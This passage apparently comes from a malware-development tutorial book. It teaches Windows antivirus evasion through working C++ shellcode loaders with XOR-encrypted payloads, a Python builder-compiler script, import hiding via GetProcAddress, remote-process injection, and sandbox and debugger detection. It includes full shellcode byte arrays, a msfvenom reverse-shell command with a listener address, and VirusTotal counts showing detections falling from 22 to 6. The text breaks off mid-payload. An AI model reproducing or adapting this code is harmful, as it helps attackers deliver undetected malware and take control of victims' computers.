int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate a memory buffer for payload


my_payload_mem = VirtualAlloc(0, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// Decrypt (DeXOR) the payload


XOR((char *) my_payload, my_payload_len,
my_secret_key, sizeof(my_secret_key));

// copy payload to buffer


RtlMoveMemory(my_payload_mem, my_payload,
my_payload_len);

// make new buffer as executable


rv = VirtualProtect(my_payload_mem,
my_payload_len,
PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}

The main difference with our first simple implementation is - we add XOR
decrypt function and our secret key my_secret_key for decryption:

284
It’s actually simple function, it’s a symmetric encryption, we can use it for
encryption and decryption with the same key.
and we deXOR our payload before copy to buffer:

And the only missing thing is our payload:

which should be encrypted with XOR.


For that create simple python script which encrypt payload and replace it in our
C++ template:

285
import sys
import os
import hashlib
import string

## XOR function to encrypt data


def xor(data, key):
key = str(key)
l = len(key)
output_str = ""

for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
output_str += chr(ordd(current) ˆ ord(current_key))
return output_str

## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.
join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key

## key for encrypt/decrypt


my_secret_key = "mysupersecretkey"

## payload calc.exe
plaintext = open("./calc.bin", "rb").read()

ciphertext, p_key = xor_encrypt(plaintext, my_secret_key)

## open and replace our payload in C++ code


tmp = open("evil_xor.cpp", "rt")
data = tmp.read()
data = data.replace('unsigned char my_payload[] = { };',
'unsigned char my_payload[] = ' + ciphertext)
tmp.close()
tmp = open("evil-enc.cpp", "w+")
tmp.write(data)
tmp.close()

## compile

286
try:
cmd = "x86_64-w64-mingw32-gcc evil-enc.cpp"
cmd += "-o evil.exe -s -ffunction-sections"
cmd += "-fdata-sections -Wno-write-strings"
cmd += " -fno-exceptions -fmerge-all-constants"
cmd += "-static-libstdc++ -static-libgcc"
cmd += " >/dev/null 2>&1"
os.system(cmd)
except:
print ("error compiling malware template :(")
sys.exit()
else:
print (cmd)
print ("successfully compiled :)")

For simplicity, we use calc.bin payload:

but in real scenario you can use something like:


msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.9.1.6 LPORT=4444 -f raw -o hack.bin

run python script:


python3 evil_enc.py

and run in victim’s machine (Windows 10 x64):

287
Let’s go to upload our new evil.exe with encrypted payload to Virustotal:

https://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d
99e9808efbfaf7989e1e15fd9587ca/detection
So, we have reduced the number of AV engines which detect our
malware from 22 to 18!
Source code in Github
• VirtualAlloc

• RtlMoveMemory

• VirtualProtect

• WaitForSingleObject

• CreateThread

• XOR

288
In the next part, I will write how else you can reduce the number of detections
using function call obfuscation technique.

36. AV engines evasion for C++ simple malware - part 2

This is the second part of the tutorial, firstly, I recommend that you study the
first part.
In this section we will study function call obfuscation. So what is this? Why
malware developers and red teamers need to learn it?
Let’s consider our evil.exe from part 1 in virustotal:
https://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d
99e9808efbfaf7989e1e15fd9587ca/detection
and go to the details tab:

289
Every PE module like .exe and .dll usually uses external functions. So when
it is running, it will call every functions implemented in an external DLLs which
will be mapped into a process memory to make this functions available to the
process code.
AV industry analyze most kind of external DLLs and functions are used by the
malware. It can be a good indicator if this binary is malicious or not. So AV
engine analyzes a PE file on disk by looking the into its import address.
Of course this method is not bullet proof and can generate some false positives
but it is a known to work in some cases and is widely used by AV engines.
So what we as a malware developers can do about it? This is where function
call obfuscation comes into play. Function Call Obfuscation is a method of
hiding your DLLs and external functions that will be called a during runtime. To
do that we can use standard Windows API functions called GetModuleHandle
and GetProcAddress. The former returns a handled a specifiied DLL and later
allows you to get a memory address of the function you need and which is
exported from that DLL.
So let me give you an example. So let’s say your program needs to call a function
called HackAndWin which is exported in a DLL named hacker.dll. So first you
call GetModuleHandle, and then you can call GetProcAddress with an argument
of HackAndWin function and in return you get in address of that function:
hack = GetProcAddress(
GetModuleHandle("hacker.dll"), "HackAndWin");

So what is important here? Is that if you compile your code, compiler will not

290
include hacker.dll into import address table. So AV engine will not be able to
see that during static analysis.
Let’s see how we can practically use this technique. Let’s take a look at the
source coude of our first malware from part 1:
/*
cpp implementation malware
example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe


unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

291
unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate a memory buffer for payload


my_payload_mem = VirtualAlloc(0, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// copy payload to buffer


RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

// make new buffer as executable


rv = VirtualProtect(my_payload_mem, my_payload_len,
PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}

So this code contains very basic logic for executing payload. So in this case, for
simplicity, it’s not encrypted payload, it’s plain payload.

292
Let’s compile it:

and run to make sure that it works:

So let’s take a look into import address table.

293
objdump -x -D evil.exe | less

and as you can see our program is uses KERNEL32.dll and import all this
functions:

294
and some of them are used in our code:

So let’s get read of VirtualAlloc. So how we can do that? First of all we need
to find a declaration VirtualAlloc:

295
and just a make sure that it is implemented in a Kernel32.dll:

So let’s create a global variable called VirtualAlloc, but it has to be a pointer


pVirtualAlloc this variable will store the address to VirtualAlloc:

And now we need to get this address via GetProcAddress, and we need to
change the call VirtualAlloc to pVirtualAlloc:

296
Then let’s go to compile it. And see again import address table:
objdump -x -D evil.exe | less

So no VirtualAlloc in import address table. Looks good. But, there is a caveat.


When we try to extract all the strings from the our binary we will see that
VirtualAlloc string is still there. Let’s do it. run:
strings -n 8 evil.exe

297
as you can see it is here. The reason is that we are using the stream in cleartext
when we are calling GetProcAddress.
So what we can do about it?
The way is we can remove that. We can used XOR function for encrypt/decrypt,
we used before, so let’s do that. Firstly, add XOR function to our evil.cpp
malware source code:

For that we will need encryption key and some string. And let’s say string as
cVirtualAlloc and modify our code:

add XOR decryption:

298
So, the final version of our malware code is:
/*
cpp implementation malware
example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe


unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);

// XOR encrypted VirtualAlloc


unsigned char cVirtualAlloc[] = { };

299
unsigned int cVirtualAllocLen = sizeof(cVirtualAlloc);

// encrypt/decrypt key
char mySecretKey[] = "meowmeow";

// LPVOID VirtualAlloc(
// LPVOID lpAddress,
// SIZE_T dwSize,
// DWORD flAllocationType,
// DWORD flProtect
// );

LPVOID (WINAPI * pVirtualAlloc)(


LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

void XOR(char * data, size_t data_len, char * key,


size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ˆ key[j];
j++;
}
}

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

XOR((char *) cVirtualAlloc, cVirtualAllocLen,


mySecretKey, sizeof(mySecretKey));

// Allocate a memory buffer for payload


pVirtualAlloc = GetProcAddress(
GetModuleHandle("kernel32.dll"), cVirtualAlloc);

my_payload_mem = pVirtualAlloc(0, my_payload_len,


MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

300
// copy payload to buffer
RtlMoveMemory(my_payload_mem, my_payload,
my_payload_len);

// make new buffer as executable


rv = VirtualProtect(my_payload_mem, my_payload_len,
PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}

And use python script to XOR encrypt our function name and replace:
import sys
import os
import hashlib
import string

## XOR function to encrypt data


def xor(data, key):
key = str(key)
l = len(key)
output_str = ""

for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
output_str += chr(ordd(current) ˆ ord(current_key))
return output_str

## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.
join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key

301
## key for encrypt/decrypt
plaintext = "VirtualAlloc"
my_secret_key = "meowmeow"

## encrypt VirtualAlloc
ciphertext, p_key = xor_encrypt(plaintext, my_secret_key)

## open and replace our payload in C++ code


tmp = open("evil.cpp", "rt")
data = tmp.read()
data = data.replace('unsigned char cVirtualAlloc[] = { };',
'unsigned char cVirtualAlloc[] = ' + ciphertext)
tmp.close()
tmp = open("evil-enc.cpp", "w+")
tmp.write(data)
tmp.close()

## compile
try:
cmd = "x86_64-w64-mingw32-gcc evil-enc.cpp"
cmd += " -o evil.exe -s -ffunction-sections"
cmd += " -fdata-sections -Wno-write-strings"
cmd += " -fno-exceptions -fmerge-all-constants"
cmd += " -static-libstdc++ -static-libgcc"
cmd += " >/dev/null 2>&1"
os.system(cmd)
except:
print ("error compiling malware template :(")
sys.exit()
else:
print (cmd)
print ("successfully compiled :)")

Compile and check.


strings -n 8 evil.exe | grep "Virtual"

and as you can see no VirtualAlloc in strings check. This is how you can
actually obfuscate any function in your code. It can be VirtualProtect or
RtlMoveMemory, etc.
run:

302
everything is ok.
Let’s go to upload our evil.exe to virustotal:

https://www.virustotal.com/gui/file/bf21d0af617f1bad81ea178963d70602340d
85145b96aba330018259bd02fe56/detection
So, 22 of of 66 AV engines detect our file as malicious.
Other functions can be obfuscated to reduce the number of AV engines that
detect our malware. For better result we can combine payload encryption with
random key and obfuscate functions with another keys etc.
Source code in Github
• VirtualAlloc

• RtlMoveMemory

• VirtualProtect

• WaitForSingleObject

303
• CreateThread

• XOR
As a result of my research, my project peekaboo appeared.
Simple undetectable shellcode and code injector launcher example.

37. AV engines evasion techniques - part 3. Simple C++


example.

This is a third part of the tutorial and it describes an example how to bypass
AV engines in simple C++ malware.
first part
second part
In this section we will try to implement some techniques used by malicious
software to execute code, hide from defenses.
Let’s take a look at example C++ source code of our malware which implement
classic code injection:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int main(int argc, char* argv[]) {

// 64-bit meow-meow messagebox without encryption


unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"

304
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

HANDLE ph; // process handle


HANDLE rt; // remote thread
PVOID rb; // remote buffer

// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb,
NULL, 0, NULL);
CloseHandle(ph);
return 0;
}

305
This is classic variant, we define payload, allocate memory, copy into the new
buffer, and then execute it.
The main limit with AV scanner is the amount of time they can spend on each
file. During a regular system scan, AV will have to analyze thousands of files. It
just cannot spend too much time or power on a peculiar one. One of the “classic”
AV evasion trick besides payload encryption: we just allocate and fill 100MB of
memory:
char *mem = NULL;
mem = (char *) malloc(100000000);
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
//... run our malicious logic
}

So, let’s go to update our simple malware:


/*
hack.cpp
classic payload injection example
allocate too much memory
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/21/simple-malware-av-evasion-3.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int main(int argc, char* argv[]) {

// meow-meow messagebox x64 windows


unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"

306
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

HANDLE ph; // process handle


HANDLE rt; // remote thread
PVOID rb; // remote buffer

DWORD pid; // process ID


pid = atoi(argv[1]);

// allocate and fill 100 MB of memory


char *mem = NULL;
mem = (char *) malloc(100000000);

if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);

// parse process ID
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(pid));
printf("PID: %i", pid);

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb,
NULL, 0, NULL);

307
CloseHandle(ph);
return 0;
}
}

Let’s go to compile:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And run it in our victim’s machine (Windows 10 x64):

As you can see everything is worked perfectly :)


And if we just upload this malware to VirusTotal:

308
https://www.virustotal.com/gui/file/4ff68b6ca99638342b9b316439594c21520e
66feca36c2447e3cc75ad3d70f46/detection
So, 6 of 67 AV engines detect our file as malicious.
For better result, we can add payload encryption with key or obfuscate functions,
or combine both of this techniques.
And what’s next? Malwares often use various methods to fingerprint the envi-
ronment they’re being executed in and perform different actions based on the
situation.
For example, we can detect virtualized environment. Sandboxes and analyst’s
virtual machines usually can’t 100% accurately emulate actual execution envi-
ronment. Nowadays typical user machine has a processor with at least 2 cores
and has a minimum 2GB RAM. So our malware can verify if the environment is
a subject to these constraints:
BOOL checkResources() {
SYSTEM_INFO s;
MEMORYSTATUSEX ms;
DWORD procNum;
DWORD ram;

// check number of processors


GetSystemInfo(&s);
procNum = s.dwNumberOfProcessors;
if (procNum < 2) return false;

// check RAM
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
if (ram < 2) return false;

return true;
}

Also we’ll invoke the VirtualAllocExNuma() API call. This is an alternative

309
version of VirtualAllocEx() that is meant to be used by systems with more
than one physical CPU:
typedef LPVOID (WINAPI * pVirtualAllocExNuma) (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred
);

// memory allocation work on regular PC


// but will fail in AV emulators
BOOL checkNUMA() {
LPVOID mem = NULL;
pVirtualAllocExNuma myVirtualAllocExNuma =
(pVirtualAllocExNuma)GetProcAddress(
GetModuleHandle("kernel32.dll"), "VirtualAllocExNuma");
mem = myVirtualAllocExNuma(GetCurrentProcess(),
NULL, 1000, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE, 0);
if (mem != NULL) {
return false;
} else {
return true;
}
}

//...

What we’re doing here is trying to allocate memory with VirtualAllocExNuma(),


and if it fails we just exit immediately. Otherwise, execution will continue.
Since the code is emulated it is not started in a process which has the name of
the binary file. That’s why we check that first argument contains name of the
file:
// what is my name???
if (strstr(argv[0], "hack2.exe") == NULL) {
printf("What's my name? WTF?? :(\n");
return -2;
}

It’s possible to simply “ask” the operating system if any debugger is attached.
IsDebuggerPresent function basically checks BeingDebugged flag in the PEB:

310
// "ask" the OS if any debugger is present
if (IsDebuggerPresent()) {
printf("attached debugger detected :(\n");
return -2;
}

Dynamic malware analysis - or sandboxing - has become the centerpiece of any


major security solution. At the same time, almost all variants of current threats
include some kind of sandbox detection logic.
So we can try to combine all this tricks (hac2.cpp):
/*
hack.cpp
classic payload injection example
allocate too much memory
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/21/simple-malware-av-evasion-3.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <memoryapi.h>

typedef LPVOID (WINAPI * pVirtualAllocExNuma) (


HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred
);

// memory allocation work on regular PC


// but will fail in AV emulators
BOOL checkNUMA() {
LPVOID mem = NULL;
pVirtualAllocExNuma myVirtualAllocExNuma =
(pVirtualAllocExNuma)GetProcAddress(
GetModuleHandle("kernel32.dll"),
"VirtualAllocExNuma");
mem = myVirtualAllocExNuma(GetCurrentProcess(),
NULL, 1000, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE, 0);

311
if (mem != NULL) {
return false;
} else {
return true;
}
}

// resource check
BOOL checkResources() {
SYSTEM_INFO s;
MEMORYSTATUSEX ms;
DWORD procNum;
DWORD ram;

// check number of processors


GetSystemInfo(&s);
procNum = s.dwNumberOfProcessors;
if (procNum < 2) return false;

// check RAM
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
if (ram < 2) return false;

return true;
}

int main(int argc, char* argv[]) {

// meow-meow messagebox x64 windows


unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"

312
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
